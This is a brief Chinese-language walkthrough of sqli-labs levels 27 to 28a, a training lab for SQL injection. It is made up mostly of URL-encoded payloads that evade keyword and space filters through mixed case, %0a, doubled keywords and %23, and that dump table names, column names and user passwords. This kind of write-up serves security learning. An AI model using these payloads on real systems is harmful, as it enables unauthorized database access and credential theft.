sqlilabs 27 27a 28 28a

a这关过滤了union 和select UNION SELECT Union Select 但是并没有过滤掉所有的可以书写的情况

所以 unION selEct这样子的还是可以使用的 还过滤了空格 用%0a替代

或者双写 unionunion selectselect 还有这关采用了 正则表达式负号用不了就只好用0或者666之类的

?id=0’%0aunION%0aselECT%0a1,2,3||’1’=’1 (||这个可用and或者or替代都行)

测显示位 loginname 2 password那边显示1

所以 ?id=0’%0aunION%0aSELECt%0a1,database(),3||’1’=’1 数据库

?id=0’%0aunION%0aSELECt%0a1,(selECT%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=’security’),3||’1’=’1 爆表名

?id=0’%0aunION%0aSELECt%0a1,(selECT%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_name=’users’),3||’1’=’1 爆users表内的列名

?id=0’%0aunION%0aSELECt%0a1,(selECT%0agroup_concat(username,’|’,password)%0afrom%0users),3||’1’=’1 获取数据

ok 27关结束

27a不知道为什么%0a用不了 用)这个替代也可以还有?id=0’ 单引号换双引号

28就?id=0’) 多个括号 还有没法像27那样有的大写小写绕过 还有就是相连的union select 就双写绕过嘛 unionunion%0aselect%0aselect 还有就是末尾闭合用;%00

28a 空格过滤没掉了那就不用%0a了 就和上面的一样的语句

井号被过滤可用%23